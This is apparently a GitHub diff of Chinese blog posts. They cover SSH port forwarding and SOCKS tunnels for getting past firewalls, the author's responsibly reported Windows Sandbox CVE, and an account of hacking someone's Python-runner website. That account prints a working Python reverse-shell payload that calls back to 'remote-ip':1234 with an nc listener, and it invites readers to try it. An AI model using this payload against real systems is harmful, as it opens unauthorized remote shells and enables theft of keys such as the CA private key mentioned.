假如上面的穿透你设置好了但是你说你不知道sshd配置文件在哪里防火墙关不掉服务器不是你的好家伙那内网穿透还搞什么没关系SSH比你想象的要厉害假如你没办法开服务器的端口那你可以把服务器上面的端口映射到本机上。
那么现在内网穿透已经搞好了,但是由于各种各样的原因你访问不到服务器的端口,这时候你在外面,可以在外面用电脑执行以下命令:
```
ssh -CfNL 3390:127.0.0.1:3389 root@remote-ip
```
这样一波操作你家里的那台电脑上的3389端口就被映射到了你现在用的电脑上的3390端口了当然效率很低这个没办法毕竟SSH这些功能没有完全流行起来也是因为它的效率确实低而且还容易断也没个自带的断线重连……
## 代理隧道
虽然说我现在很想吐槽一下SSH并且想要赶紧说说它的一些上位替代不过我还是先把所有的SSH厉害的功能讲完吧。
SSH更厉害的功能就是随手开代理又叫做动态端口映射一般来说如果想要在服务器上配置一个代理很麻烦而且也很费时间但是如果用SSH隧道开一个代理就只用一条命令而且还不需要在服务器上做任何配置真的是非常的方便。
具体是什么命令呢?很简单,就是这样:
```
ssh -CfND 127.0.0.1:1080 root@remote-ip
```
执行这条命令之后就会在本机开一个监听地址为`127.0.0.1:1080`的socks5代理你可以使用Proxifier之类的socks5客户端去连接它然后就能直接通过这个代理用服务器上网了。假如你还想把这个代理共享给其他同在局域网的人用可以把`127.0.0.1`改成`0.0.0.0`并且加一个`-g`的参数,这样同网络的人也就可以通过你的电脑连接到隧道上了。
当然这个相比于上面那个端口映射要厉害一些不过如果没有socks5客户端就只能用上面那个了。
另外如果有国外的服务器也可以使用这种方式穿过防火长城而且因为它是走的SSH隧道基本上很难通过流量分析看出来你在做什么可惜就是效率太低很慢所以即使它抗封锁能力不错但是用的人不是很多……
所以呢SSH作为系统自带的软件功能已经是非常强大了有这些功能基本上可以在一定程度上无视防火墙随便穿轻松透而且再加上scp、sftp等功能连接不同的电脑真的是从未如此轻松。
很可惜这么好的软件效率太低了我试了一下用把同网络下的树莓派做成代理速度基本上只能达到10Mbps左右可能看1080p的直播没有问题再高一些的蓝光视频还是不太行会时不时的卡另外就更不用说连接国外的服务器了看网页确确实实没有问题视频的话也只是勉强能看体验还是不够好。虽然它作为默认安装的软件很不错但是我们还是要考虑体验的嘛所以我就来说说它的一些上位替代品吧。
# SSH部分功能的上位替代
## 内网穿透
假如想要自己做一个内网穿透,目前以我自己的感受来说,感觉还是[frp](https://github.com/fatedier/frp)最好用应该说不愧是Golang写的程序配置简单即开即用。下载一个frps的程序放在公网的服务器上基本上用默认的配置就可以直接使用不过为了安全还是建议稍微改一改默认情况下是没有验证和加密的。内网机器的话就用frpc连接就可以了具体怎么搭建官方文档已经说的很清楚了这里就不再多描述。另外如果没有公网服务器也可以试试SakuraFrp不过他们家貌似看起来快凉了国内节点要花1CNY实名认证国外节点目前凉的差不多了而且貌似经常受到攻击现在想充钱也充不了还是挺糟糕的。
不过他们倒是挺良心的给了个[友商列表](https://www.natfrp.com/peer_vendors.php),如果自己没服务器的话用这些服务商也是个不错的选择。
## 代理隧道
要是整正儿八经的隧道还是得用Shadowsocks或者是V2ray之类的一是反检测还是很厉害的二是效率高这些隧道软件速度是真的没话说确实相比SSH隧道而言要快很多。如果要搭Shadowsocks-libev可以看看[这篇文章](https://gfw.report/blog/ss_tutorial/zh/)V2ray的话GitHub上有很多那种一键脚本直接用的话也没问题包括也有更稳当的Cloudflare+ws+tls模式非常的不错。
还有就是个人经验吧,如果真想好好上,最好不要自己租云服务器,因为大多数人没经验,不知道哪个线路好,搭出来性价比没有机场高,速度也没机场快,节点少,而且被封的成本更高,所以真要用还是去租机场比较合适。
因为我实际上对搞这些隧道并没有什么特别厉害的经验 ~~(不然我为啥不去开机场😂?)~~ ,所以这里就不再过多描述了。
# 任意互联示例
既然目前已经有办法任意访问或者映射端口那么内网对于我们来说就不会有太多阻碍了不过如果完全没有公网IP我确实真想不出来怎么搞就是nat穿透还要一个接线的服务器。这些东西假如以后打CTF还是蛮有用的有时候CTF会特地出几个内网隔离的机器要用跳板除了用NCSSH也算是个不错的选择了。有防火墙直接把靶服务映射到自己机器上打打起来和没防火墙一个手感。再不行直接代理接过去装作目标主机扫描的时候也会方便很多。反弹shell连不到自己主机把自己映射到跳板机上吧各种连接轻松搞定。
就是不打CTF就说在外面突然想下论文学校能上知网挂个树莓派在学校frp连到公网服务器SSH隧道开代理然后就能随便下论文了。
# 总结
我现在又感觉互联的网络回来了看来就是有内网、防火墙也阻挡不了两台逻辑上能连接的主机。SSH真的是很厉害啊……虽然我才知道这一点不过这也就是学习的过程嘛了解了这个也许对网络有了更深入的认识吧……

@ -0,0 +1,43 @@
---
layout: post
title: 论如何发现一个计算机漏洞
tags: [安全, 漏洞, 网络]
---
网络安全?可不只是专业人员的事情。<!--more-->
# 起因
一个月前我发现了Windows沙箱有个很严重的漏洞害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的我不希望因为这种安全问题就放弃它所以我就向微软反馈了这个漏洞。
于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个[漏洞的描述页面](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)能把我的名字写上去这个我还是挺高兴的。
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?
# Windows沙箱的漏洞发现过程与复现方法
在几个月前我的电脑莫名其妙的被安装上了Microsoft Edge Beta版我明明从来没有安装过但是它就是莫名其妙的出现了。这么一安装我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的我不希望电脑上出现多余的东西像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。
一般来说Edge Beta都是手动安装的所以这种情况在“卸载或更改程序”里应该是可以发现的但是这个是莫名其妙被安装上的自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge网上搜到的答案一般就是在浏览器内核文件夹下找到`Installer`文件夹,然后在这个文件夹下执行命令`.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall`就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标而且Beta版里也没有我的Cookie和插件……
过了两天Windows更新了更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。
就以上这件事情搞的我很烦躁烦躁之后就想发泄发泄又不能对着我的电脑发泄于是我就打开了Windows沙箱把Windows沙箱里的Edge给卸载掉了。结果怎么着我物理机上的Edge也不见了这说明了啥问题我在沙箱里做的操作竟然影响到了物理机后来我经过测试发现微软似乎把物理机里的`C:\Program Files (x86)\Microsoft\Edge\Application`文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把`msedge.exe`文件感染了比如说加个壳啥的物理机上用Edge的人应该也不少吧至少市场占有率都已经超过Firefox了那么在沙箱里Edge被感染的人在物理机上一旦运行那么物理机将陷入危险的境地。
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 <secure@microsoft.com> 发邮件来反馈BUG于是我就用英文写了篇文章来报告这个BUG。
不过我的方法并不正确因为微软有专门反馈BUG的网站也就是[Microsoft Security Response Center](https://www.microsoft.com/zh-cn/msrc/)。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在[这里](https://msrc.microsoft.com/create-report)报告漏洞。
另外还有个问题就是如果真的得到了奖金拿到它也有点麻烦因为微软不能说是让你发个支付宝收款码之类的得先注册一个HackerOne或者Bugcrowd的账户而且从国外提款很麻烦所以如果不是那种经常能发现漏洞的或者是在安全公司里的人基本上这钱就还是别提了。
## 复现的环境要求
这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧PoC那种东西我怎么可能会写傻子都知道怎么测试了吧所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱最早的有效版本我不太清楚因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的另外目前的话如果想要复现这个漏洞不能安装[KB5003173](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173)补丁如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看只要在最新的Windows 10上卸载KB5003173补丁然后安装Windows沙箱就可以复现这个漏洞。
## 人生中第一个自己贡献了的CVE
看来[CVE-2021-31208](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)就是我贡献的了,以后只要在微软的[鸣谢列表](https://msrc.microsoft.com/update-guide/acknowledgement)里搜索Mayx就可以搜到我找到的漏洞了虽然这个漏洞很简单但是自己的名字能写到那个列表里也挺令人高兴的啊。
# 那天我黑掉的网站
5月12日那天有一名叫做[Kingfish404](https://github.com/Kingfish404)的人Fork了我的博客结果第一眼看到了那个爬猎聘网的脚本吓得我还以为这位是我的老师因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣就看了看Ta的仓库。看着看着看到了一个可以[在线学习Python的网站源代码](https://github.com/Kingfish404/LearnPython)我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站就像Python123那样就是因为他们那个服务要收费所以就想写个开源的不过因为如果直接用Python在服务器上运行的话实在是太危险了所以我想的是写一个使用Docker来运行Python并且评分的平台也许可以用k8s可惜我水平有限不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下结果发现这个人写的就是我说的那种危险方法运行Python脚本的看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了不过我也只是知道这个概念怎么用我还是不太清楚。然后就搜了一下看到了[这篇文章](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)。嗯……现实中攻击还是要比CTF中攻击有意思然后我就在我的服务器上执行了一下`nc -lvvp 1234`,在它的代码执行框里执行:
```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("remote-ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```
就这样我就成功的反弹了一个Shell虽然吧Ta给的权限不高但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。
# 总结
从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?

Some files were not shown because too many files have changed in this diff Show More

Loading…
Cancel
Save